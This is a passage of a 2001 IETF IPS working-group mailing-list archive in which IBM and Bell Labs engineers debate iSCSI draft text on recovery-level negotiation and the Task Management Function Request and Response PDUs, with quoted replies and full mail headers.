Mon, 3 Sep 2001 22:08:33 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Or, it might still be better if some x (eg. 7) value is kept and anything between 0 and x is reserved. 0 means no recovery and 7 means full recovery. Once we go thoroughly into dividing the recovery level then the various reserved values can be defined. Sanjeev ----- Original Message ----- From: "John Hufferd" To: "Julian Satran" Cc: Sent: Monday, September 03, 2001 9:14 PM Subject: Re: iSCSI - Recovery Levels > > Julian, > The way you have written it, only two levels can be specified, since level > one contains all the currently know levels. Perhaps, you need to leave > some space between Zero and Everything currently known, by assigning > Everything to be number 2, or, 3 etc. If we define it to be the number 2 > for instance then it is possible that we only define 0 and 2 but it would > leave room for a 1 if one was defined. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/03/2001 06:59:38 AM > > Sent by: owner-ips@ece.cmu.edu > > > To: ips@ece.cmu.edu > cc: > Subject: iSCSI - Recovery Levels > > > > There seems to be consensus around the fact the recovery leves are good and > no > clear consensus about hpow many should there be (2 or 3). > > As there is no chance to settle this until 08 gets out I suggest > intrdocucing > a generic key=value pair (RecoveryLevel) and remove the existing keys > (CommmandFailoverSupport and CommandReplaySupport). > > RecoveryLevel will be defined as follows: > > 01 RecoveryLevel > > Use: LO > Who can send: Initiator and Target > > RecoveryLevel=<0 to x> > > Default is 0. > > Initiator and target negotiate the recovery level supported. > The minimum of the two values is selected. > > Recovery levels represent a combination of recovery capabilities. > Each recovery level includes all the capabilities of the lower recovery > levels and adds to them some new ones. > > In the recovery mechanisms descriptions some specific recovery > capabilities are used. > > Those are mapped to levels as follows: > > 0 - SessionRecovery > 1 - CommandFailoverSupport and CommandReplaySupport > [TBD] > > > > > Comments? > > Julo > > > > From owner-ips@ece.cmu.edu Mon Sep 3 17:13:08 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA14284 for ; Mon, 3 Sep 2001 17:13:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f83JvWi08243 for ips-outgoing; Mon, 3 Sep 2001 15:57:32 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f83JvRP08233 for ; Mon, 3 Sep 2001 15:57:27 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id VAA85574 for ; Mon, 3 Sep 2001 21:57:16 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f83JvF1273666 for ; Mon, 3 Sep 2001 21:57:15 +0200 Importance: Normal Subject: iSCSI abort task - the saga continues To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Mon, 3 Sep 2001 22:52:40 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 03/09/2001 22:57:15 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Dear colleagues, Here is a simpler version of the Task Management Request & Response. Abort task is processed only at target but the initiator issues it only on the same connection (as Santosh Rao once proposed) with the added semantic that if the connection is failing it can be issued on a new connection and it means both abort and change allegiance. Here is the proposed text: 1.1 Task Management Function Request Byte / 0 | 1 | 2 | 3 | / | | | | |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---------------+---------------+---------------+---------------+ 0|X|I| x02 |0| Function | Reserved | +---------------+---------------+---------------+---------------+ 4| Reserved | +---------------+---------------+---------------+---------------+ 8| Logical Unit Number (LUN) or Reserved | + + 12| | +---------------+---------------+---------------+---------------+ 16| Initiator Task Tag | +---------------+---------------+---------------+---------------+ 20| Referenced Task Tag or 0xffffffff | +---------------+---------------+---------------+---------------+ 24| CmdSN | +---------------+---------------+---------------+---------------+ 28| ExpStatSN | +---------------+---------------+---------------+---------------+ 32| RefCmdSN or ExpDataSN | +---------------+---------------+---------------+---------------+ 36/ Reserved / +/ / +---------------+---------------+---------------+---------------+ 48 1.1.1 Function The Task Management functions provide an initiator with a way to explicitly control the execution of one or more Tasks (SCSI and iSCSI tasks). The Task Management functions are (for a more detailed description of SCSI task management see [SAM2]): 1 ABORT TASK - aborts the task identified by the Referenced Task Tag field. 2 ABORT TASK SET - aborts all Tasks issued by this initiator on the Logical Unit. 3 CLEAR ACA - clears the Auto Contingent Allegiance condition. 4 CLEAR TASK SET - Aborts all Tasks (from all initiators) for the Logical Unit. 5 LOGICAL UNIT RESET 6 TARGET WARM RESET 7 TARGET COLD RESET 8 TASK RESUME - restart the task identified by the Referenced Task Tag field on this connection 9 TASK REPLAY - replay the task identified by the Referenced Task Tag field on this connection For all these functions, if executed, the Task Management Function Response MUST be returned using the Initiator Task Tag to identify the operation for which it is responding. All those functions apply to the referenced tasks regardless if they are proper SCSI tasks or tagged iSCSI operations. Task management commands must be executed as if all the commands having a CmdSN lower or equal to the task management CmdSN have been received by the target (i.e., have to be executed as if received for ordered delivery even when marked for immediate delivery). For all the tasks covered by the task management response (i.e., with CmdSN not higher than the task management command CmdSN), additional responses MUST NOT be delivered to the SCSI layer after the task management response. ABORT TAST Task Management Request MUST be issued on the same connection to which the task to be aborted is allegiant at the time the Task Management Request is issued if the connection is still active (it is not undergoing an implicit or explicit logout). If the connection is being implicitly or explicitly logged out and no other request will be issued on the failing connection and no other response will be received on the failing connection then an ABORT TASK Task Management request may be issued on another connection and this Task Management request will both establish a new allegiance for the command to be aborted and will abort it (i.e., a task to be aborted will not have to be reinstated, restarted or replayed and its status if issued but not acknowledged will be reissued). For the ABORT TASK task management request the target MUST NOT deliver additional responses after the task management response. Whether the initiator should deliver or not task responses while a TASK ABORT is executing but before delivering the task management response is a matter of implementation. For the LOGICAL UNIT RESET function, the target MUST behave as dictated by the Logical Unit Reset function in [SAM2]. The TARGET RESET function (WARM and COLD) implementation is OPTIONAL and when implemented should act as described below. Target Reset MAY be also subject to SCSI access controls for the requesting initiator. When not implemented or when authorization fails at target, Target Reset functions should end as if the function was executed successfully and the response qualifier will detail what was executed. For the TARGET WARM RESET and TARGET COLD RESET functions, the target cancels all pending operations and are both equivalent to the Target Reset function specified by [SAM2]. They can both affect many other initiators. In addition, for the TARGET COLD RESET the target then MUST terminate all of its TCP connections to all initiators (all sessions are terminated). For the TASK RESUME and TASK REPLAY the target should resume executing the referenced task respectively replay it completely. TASK REPLAY MUST be received by the target ONLY after the status for the command was issued. TASK RESUME MUST be received by the target ONLY after the connection on which the command was previously executing has been successfully logged-out. TASK RESUME and TASK REPLAY MUST be issued as immediate commands. 1.1.2 LUN This field is required for functions addressing a specific LU (ABORT TASK, CLEAR TASK SET, ABORT TASK SET, CLEAR ACA, LOGICAL UNIT RESET) and is reserved in all others. 1.1.3 Referenced Task Tag Initiator Task Tag of the task to be aborted, restarted or replayed 1.1.4 RefCmdSN or ExpDataSN For ABORT TASK the task CmdSN to enable task removal. If RefCmdSN does not match the CmdSN of the command to be aborted at the target The abort action MUST not be performed and the response MUST be function rejected. If the function is task resume establishing a new connection allegiance for a previously issued command, this field will contain the next consecutive input DataSN number expected by the initiator (no gaps) for the referenced command in a previous execution. 1.2 Task Management Function Response Byte / 0 | 1 | 2 | 3 | / | | | | |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---------------+---------------+---------------+---------------+ 0|1|1| 0x22 |1| Reserved | +---------------+---------------+---------------+---------------+ 4/ Reserved / / / +---------------+---------------+---------------+---------------+ 16| Initiator Task Tag | +---------------+---------------+---------------+---------------+ 20| Referenced Task Tag or 0xffffffff | +---------------+---------------+---------------+---------------+ 24| StatSN | +---------------+---------------+---------------+---------------+ 28| ExpCmdSN | +---------------+---------------+---------------+---------------+ 32| MaxCmdSN | +---------------+---------------+---------------+---------------+ 36| Response | Qualifier | Reserved | +---------------+---------------+---------------+---------------+ 40/ Reserved / +/ / +---------------+---------------+---------------+---------------+ 48 For the functions ABORT TASK, ABORT TASK SET, CLEAR ACA, CLEAR TASK SET, LOGICAL UNIT RESET, TARGET WARM RESET, the target performs the requested Task Management function and sends a Task Management Response back to the initiator. The target provides a Response, which may take on the following values: 0 - Function Complete 1 - Task specified in the Referenced Task Tag field was not in task set 2 - LUN does not exist 3 - Task running on a connection that was not logged-out 4 - Task failover not supported 5 - Task in progress 6 - Task replay not supported 255 Function Rejected All other values are reserved. The Qualifier field provides additional information about the Response. For a Response of "Function Complete" the valid Qualifiers are: 0 - Function Executed 1 - Not Authorized For the TARGET COLD RESET and TARGET WARM RESET functions, the target cancels all pending operations. For the TARGET COLD RESET function the target MUST then close all of its TCP connections to all initiators (terminates all sessions). The mapping of the response code into a SCSI service response code, if needed, is outside the scope of this document. 1.2.1 Referenced Task Tag Initiator Task Tag of the task not found used in conjunction with responses referring to a specific task. It MUST be set to 0xffffffff in other cases. Comments? Julo From owner-ips@ece.cmu.edu Mon Sep 3 22:44:24 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA18384 for ; Mon, 3 Sep 2001 22:44:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f840hos21127 for ips-outgoing; Mon, 3 Sep 2001 20:43:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id f840hlP21121 for ; Mon, 3 Sep 2001 20:43:47 -0400 (EDT) Received: from grubby.research.bell-labs.com ([135.104.2.9]) by dirty; Mon Sep 3 20:42:18 EDT 2001 Received: from aura.research.bell-labs.com ([135.104.46.10]) by grubby; Mon Sep 3 20:42:36 EDT 2001 Received: from research.bell-labs.com (IDENT:sandeepj@sandeepj-pcmh.research.bell-labs.com [135.104.47.90]) by aura.research.bell-labs.com (8.9.1/8.9.1) with ESMTP id UAA02579; Mon, 3 Sep 2001 20:42:00 -0400 (EDT) Message-ID: <3B942358.62F05425@research.bell-labs.com> Date: Mon, 03 Sep 2001 20:42:00 -0400 From: Sandeep Joshi X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-3 i686) X-Accept-Language: en MIME-Version: 1.0 To: Julian Satran CC: ips@ece.cmu.edu Subject: Re: iSCSI abort task - the saga continues References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian, Great..less complexity! a) I guess this eliminates Sec 8.3 & Sec 8.4 then ? Is there a need to eliminate unrelated commands which are lower than the cmdSN of the task to be aborted ? > For all the tasks covered by the task management response (i.e., with > CmdSN not higher than the task management command CmdSN), additional > responses MUST NOT be delivered to the SCSI layer after the task > management response. b) What is the value in retaining refCmdSN in the PDU now that the same connection is being used for abort task ? Even in case of failing connections, the ITT will be used by the target to determine if the task to be aborted exists, correct? -Sandeep Julian Satran wrote: > > Dear colleagues, > > Here is a simpler version of the Task Management Request & Response. > > Abort task is processed only at target but the initiator issues it only on > the same connection (as Santosh Rao once proposed) with the added semantic > that if the connection is failing it can be issued on a new connection and > it means both abort and change allegiance. Here is the proposed text: > > 1.1 Task Management Function Request > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|X|I| x02 |0| Function | Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | > +---------------+---------------+---------------+---------------+ > 8| Logical Unit Number (LUN) or Reserved | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Referenced Task Tag or 0xffffffff | > +---------------+---------------+---------------+---------------+ > 24| CmdSN | > +---------------+---------------+---------------+---------------+ > 28| ExpStatSN | > +---------------+---------------+---------------+---------------+ > 32| RefCmdSN or ExpDataSN | > +---------------+---------------+---------------+---------------+ > 36/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48 > > 1.1.1 Function > > The Task Management functions provide an initiator with a way to > explicitly control the execution of one or more Tasks (SCSI and iSCSI > tasks). The Task Management functions are (for a more detailed > description of SCSI task management see [SAM2]): > > 1 ABORT TASK - aborts the task identified by the Referenced > Task Tag field. > 2 ABORT TASK SET - aborts all Tasks issued by this initiator on > the Logical Unit. > 3 CLEAR ACA - clears the Auto Contingent Allegiance condition. > 4 CLEAR TASK SET - Aborts all Tasks (from all initiators) for the > Logical Unit. > 5 LOGICAL UNIT RESET > 6 TARGET WARM RESET > 7 TARGET COLD RESET > 8 TASK RESUME - restart the task identified by the Referenced Task Tag > field on this connection > 9 TASK REPLAY - replay the task identified by the Referenced Task Tag > field on this connection > > For all these functions, if executed, the Task Management Function > Response MUST be returned using the Initiator Task Tag to identify the > operation for which it is responding. All those functions apply to the > referenced tasks regardless if they are proper SCSI tasks or tagged > iSCSI operations. Task management commands must be executed as if all > the commands having a CmdSN lower or equal to the task management CmdSN > have been received by the target (i.e., have to be executed as if > received for ordered delivery even when marked for immediate delivery). > For all the tasks covered by the task management response (i.e., with > CmdSN not higher than the task management command CmdSN), additional > responses MUST NOT be delivered to the SCSI layer after the task > management response. > > ABORT TAST Task Management Request MUST be issued on the same connection > to which the task to be aborted is allegiant at the time the Task > Management Request is issued if the connection is still active (it is > not undergoing an implicit or explicit logout). If the connection is > being implicitly or explicitly logged out and no other request will be > issued on the failing connection and no other response will be received > on the failing connection then an ABORT TASK Task Management request may > be issued on another connection and this Task Management request will > both establish a new allegiance for the command to be aborted and will > abort it (i.e., a task to be aborted will not have to be reinstated, > restarted or replayed and its status if issued but not acknowledged will > be reissued). For the ABORT TASK task management request the target MUST > NOT deliver additional responses after the task management response. > Whether the initiator should deliver or not task responses while a TASK > ABORT is executing but before delivering the task management response is > a matter of implementation. > > For the LOGICAL UNIT RESET function, the target MUST behave as dictated > by the Logical Unit Reset function in [SAM2]. > > The TARGET RESET function (WARM and COLD) implementation is OPTIONAL and > when implemented should act as described below. Target Reset MAY be > also subject to SCSI access controls for the requesting initiator. When > not implemented or when authorization fails at target, Target Reset > functions should end as if the function was executed successfully and > the response qualifier will detail what was executed. > > For the TARGET WARM RESET and TARGET COLD RESET functions, the target > cancels all pending operations and are both equivalent to the Target > Reset function specified by [SAM2]. They can both affect many other > initiators. > > In addition, for the TARGET COLD RESET the target then MUST terminate > all of its TCP connections to all initiators (all sessions are > terminated). > > For the TASK RESUME and TASK REPLAY the target should resume executing > the referenced task respectively replay it completely. TASK REPLAY MUST > be received by the target ONLY after the status for the command was > issued. TASK RESUME MUST be received by the target ONLY after the > connection on which the command was previously executing has been > successfully logged-out. > TASK RESUME and TASK REPLAY MUST be issued as immediate commands. > > 1.1.2 LUN > > This field is required for functions addressing a specific LU (ABORT > TASK, CLEAR TASK SET, ABORT TASK SET, CLEAR ACA, LOGICAL UNIT RESET) and > is reserved in all others. > > 1.1.3 Referenced Task Tag > > Initiator Task Tag of the task to be aborted, restarted or replayed > > 1.1.4 RefCmdSN or ExpDataSN > > For ABORT TASK the task CmdSN to enable task removal. If RefCmdSN does > not match the CmdSN of the command to be aborted at the target > The abort action MUST not be performed and the response MUST be function > rejected. > > If the function is task resume establishing a new connection allegiance > for a previously issued command, this field will contain the next > consecutive input DataSN number expected by the initiator (no gaps) for > the referenced command in a previous execution. > > 1.2 Task Management Function Response > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|1|1| 0x22 |1| Reserved | > +---------------+---------------+---------------+---------------+ > 4/ Reserved / > / / > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Referenced Task Tag or 0xffffffff | > +---------------+---------------+---------------+---------------+ > 24| StatSN | > +---------------+---------------+---------------+---------------+ > 28| ExpCmdSN | > +---------------+---------------+---------------+---------------+ > 32| MaxCmdSN | > +---------------+---------------+---------------+---------------+ > 36| Response | Qualifier | Reserved | > +---------------+---------------+---------------+---------------+ > 40/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48 > > For the functions ABORT TASK, ABORT TASK SET, CLEAR ACA, CLEAR TASK SET, > LOGICAL UNIT RESET, TARGET WARM RESET, the target performs the requested > Task Management function and sends a Task Management Response back to > the initiator. The target provides a Response, which may take on the > following values: > > 0 - Function Complete > 1 - Task specified in the Referenced Task Tag field was not in > task set > 2 - LUN does not exist > 3 - Task running on a connection that was not logged-out > 4 - Task failover not supported > 5 - Task in progress > 6 - Task replay not supported > 255 Function Rejected > > All other values are reserved. > > The Qualifier field provides additional information about the Response. > > For a Response of "Function Complete" the valid Qualifiers are: > > 0 - Function Executed > 1 - Not Authorized > > For the TARGET COLD RESET and TARGET WARM RESET functions, the target > cancels all pending operations. For the TARGET COLD RESET function the > target MUST then close all of its TCP connections to all initiators > (terminates all sessions). > > The mapping of the response code into a SCSI service response code, if > needed, is outside the scope of this document. > > 1.2.1 Referenced Task Tag > > Initiator Task Tag of the task not found used in conjunction with > responses referring to a specific task. It MUST be set to 0xffffffff in > other cases. > > Comments? > > Julo From owner-ips@ece.cmu.edu Tue Sep 4 01:36:17 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA24060 for ; Tue, 4 Sep 2001 01:36:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f843qaY00300 for ips-outgoing; Mon, 3 Sep 2001 23:52:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f843qWP00295 for ; Mon, 3 Sep 2001 23:52:33 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id FAA73754 for ; Tue, 4 Sep 2001 05:52:24 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f843qOe156800 for ; Tue, 4 Sep 2001 05:52:24 +0200 Importance: Normal Subject: Re: iSCSI abort task - the saga continues To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 4 Sep 2001 06:51:41 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 04/09/2001 06:52:23 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Sandeep, The abort task eliminates 8.4 8.3 is about clearing tasks sets and there we have no magic :-) 8.4 goes away RefCmdSN is meant to help abort in the case the original was discarded due to a digest error. Regards, Julo Sandeep Joshi @ece.cmu.edu on 04-09-2001 03:42:00 Please respond to Sandeep Joshi Sent by: owner-ips@ece.cmu.edu To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: Re: iSCSI abort task - the saga continues Julian, Great..less complexity! a) I guess this eliminates Sec 8.3 & Sec 8.4 then ? Is there a need to eliminate unrelated commands which are lower than the cmdSN of the task to be aborted ? > For all the tasks covered by the task management response (i.e., with > CmdSN not higher than the task management command CmdSN), additional > responses MUST NOT be delivered to the SCSI layer after the task > management response. b) What is the value in retaining refCmdSN in the PDU now that the same connection is being used for abort task ? Even in case of failing connections, the ITT will be used by the target to determine if the task to be aborted exists, correct? -Sandeep Julian Satran wrote: > > Dear colleagues, > > Here is a simpler version of the Task Management Request & Response. > > Abort task is processed only at target but the initiator issues it only on > the same connection (as Santosh Rao once proposed) with the added semantic > that if the connection is failing it can be issued on a new connection and > it means both abort and change allegiance. Here is the proposed text: > > 1.1 Task Management Function Request > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|X|I| x02 |0| Function | Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | > +---------------+---------------+---------------+---------------+ > 8| Logical Unit Number (LUN) or Reserved | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Referenced Task Tag or 0xffffffff | > +---------------+---------------+---------------+---------------+ > 24| CmdSN | > +---------------+---------------+---------------+---------------+ > 28| ExpStatSN | > +---------------+---------------+---------------+---------------+ > 32| RefCmdSN or ExpDataSN | > +---------------+---------------+---------------+---------------+ > 36/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48 > > 1.1.1 Function > > The Task Management functions provide an initiator with a way to > explicitly control the execution of one or more Tasks (SCSI and iSCSI > tasks). The Task Management functions are (for a more detailed > description of SCSI task management see [SAM2]): > > 1 ABORT TASK - aborts the task identified by the Referenced > Task Tag field. > 2 ABORT TASK SET - aborts all Tasks issued by this initiator on > the Logical Unit. > 3 CLEAR ACA - clears the Auto Contingent Allegiance condition. > 4 CLEAR TASK SET - Aborts all Tasks (from all initiators) for the > Logical Unit. > 5 LOGICAL UNIT RESET > 6 TARGET WARM RESET > 7 TARGET COLD RESET > 8 TASK RESUME - restart the task identified by the Referenced Task Tag > field on this connection > 9 TASK REPLAY - replay the task identified by the Referenced Task Tag > field on this connection > > For all these functions, if executed, the Task Management Function > Response MUST be returned using the Initiator Task Tag to identify the > operation for which it is responding. All those functions apply to the > referenced tasks regardless if they are proper SCSI tasks or tagged > iSCSI operations. Task management commands must be executed as if all > the commands having a CmdSN lower or equal to the task management CmdSN > have been received by the target (i.e., have to be executed as if > received for ordered delivery even when marked for immediate delivery). > For all the tasks covered by the task management response (i.e., with > CmdSN not higher than the task management command CmdSN), additional > responses MUST NOT be delivered to the SCSI layer after the task > management response. > > ABORT TAST Task Management Request MUST be issued on the same connection > to which the task to be aborted is allegiant at the time the Task > Management Request is issued if the connection is still active (it is > not undergoing an implicit or explicit logout). If the connection is > being implicitly or explicitly logged out and no other request will be > issued on the failing connection and no other response will be received > on the failing connection then an ABORT TASK Task Management request may > be issued on another connection and this Task Management request will > both establish a new allegiance for the command to be aborted and will > abort it (i.e., a task to be aborted will not have to be reinstated, > restarted or replayed and its status if issued but not acknowledged will > be reissued). For the ABORT TASK task management request the target MUST > NOT deliver additional responses after the task management response. > Whether the initiator should deliver or not task responses while a TASK > ABORT is executing but before delivering the task management response is > a matter of implementation. > > For the LOGICAL UNIT RESET function, the target MUST behave as dictated > by the Logical Unit Reset function in [SAM2]. > > The TARGET RESET function (WARM and COLD) implementation is OPTIONAL and > when implemented should act as described below. Target Reset MAY be > also subject to SCSI access controls for the requesting initiator. When > not implemented or when authorization fails at target, Target Reset > functions should end as if the function was executed successfully and > the response qualifier will detail what was executed. > > For the TARGET WARM RESET and TARGET COLD RESET functions, the target > cancels all pending operations and are both equivalent to the Target > Reset function specified by [SAM2]. They can both affect many other > initiators. > > In addition, for the TARGET COLD RESET the target then MUST terminate > all of its TCP connections to all initiators (all sessions are > terminated). > > For the TASK RESUME and TASK REPLAY the target should resume executing > the referenced task respectively replay it completely. TASK REPLAY MUST > be received by the target ONLY after the status for the command was > issued. TASK RESUME MUST be received by the target ONLY after the > connection on which the command was previously executing has been > successfully logged-out. > TASK RESUME and TASK REPLAY MUST be issued as immediate commands. > > 1.1.2 LUN > > This field is required for functions addressing a specific LU (ABORT > TASK, CLEAR TASK SET, ABORT TASK SET, CLEAR ACA, LOGICAL UNIT RESET) and > is reserved in all others. > > 1.1.3 Referenced Task Tag > > Initiator Task Tag of the task to be aborted, restarted or replayed > > 1.1.4 RefCmdSN or ExpDataSN > > For ABORT TASK the task CmdSN to enable task removal. If RefCmdSN does > not match the CmdSN of the command to be aborted at the target > The abort action MUST not be performed and the response MUST be function > rejected. > > If the function is task resume establishing a new connection allegiance > for a previously issued command, this field will contain the next > consecutive input DataSN number expected by the initiator (no gaps) for > the referenced command in a previous execution. > > 1.2 Task Management Function Response > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|1|1| 0x22 |1| Reserved | > +---------------+---------------+---------------+---------------+ > 4/ Reserved / > / / > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Referenced Task Tag or 0xffffffff | > +---------------+---------------+---------------+---------------+ > 24| StatSN | > +---------------+---------------+---------------+---------------+ > 28| ExpCmdSN | > +---------------+---------------+---------------+---------------+ > 32| MaxCmdSN | > +---------------+---------------+---------------+---------------+ > 36| Response | Qualifier | Reserved | > +---------------+---------------+---------------+---------------+ > 40/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48 > > For the functions ABORT TASK, ABORT TASK SET, CLEAR ACA, CLEAR TASK SET, > LOGICAL UNIT RESET, TARGET WARM RESET, the target performs the requested > Task Management function and sends a Task Management Response back to > the initiator. The target provides a Response, which may take on the > following values: > > 0 - Function Complete > 1 - Task specified in the Referenced Task Tag field was not in > task set > 2 - LUN does not exist > 3 - Task running on a connection that was not logged-out > 4 - Task failover not supported > 5 - Task in progress > 6 - Task replay not supported > 255 Function Rejected > > All other values are reserved. > > The Qualifier field provides additional information about the Response. > > For a Response of "Function Complete" the valid Qualifiers are: > > 0 - Function Executed > 1 - Not Authorized > > For the TARGET COLD RESET and TARGET WARM RESET functions, the target > cancels all pending operations. For the TARGET COLD RESET function the > target MUST then close all of its TCP connections to all initiators > (terminates all sessions). > > The mapping of the response code into a SCSI service response code, if > needed, is outside the scope of this document. > > 1.2.1 Referenced Task Tag > > Initiator Task Tag of the task not found used in conjunction with > responses referring to a specific task. It MUST be set to 0xffffffff in > other cases. > > Comments? > > Julo From owner-ips@ece.cmu.edu Tue Sep 4 01:39:31 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA24449 for ; Tue, 4 Sep 2001 01:39:31 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f843t9h00438 for ips-outgoing; Mon, 3 Sep 2001 23:55:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f843t6P00434 for ; Mon, 3 Sep 2001 23:55:07 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id FAA11406 for ; Tue, 4 Sep 2001 05:54:51 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f843sp1234730 for ; Tue, 4 Sep 2001 05:54:51 +0200 Importance: Normal Subject: Re: iSCSI - Recovery Levels To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 4 Sep 2001 06:54:10 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 04/09/2001 06:54:51 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk John, It is only a placeholder - I will put in a TBD there too! Julo John Hufferd@IBMUS 03-09-2001 22:14 To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu From: John Hufferd/San Jose/IBM@IBMUS Subject: Re: iSCSI - Recovery Levels (Document link: Julian Satran - Mail) Julian, The way you have written it, only two levels can be specified, since level one contains all the currently know levels. Perhaps, you need to leave some space between Zero and Everything currently known, by assigning Everything to be number 2, or, 3 etc. If we define it to be the number 2 for instance then it is possible that we only define 0 and 2 but it would leave room for a 1 if one was defined. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 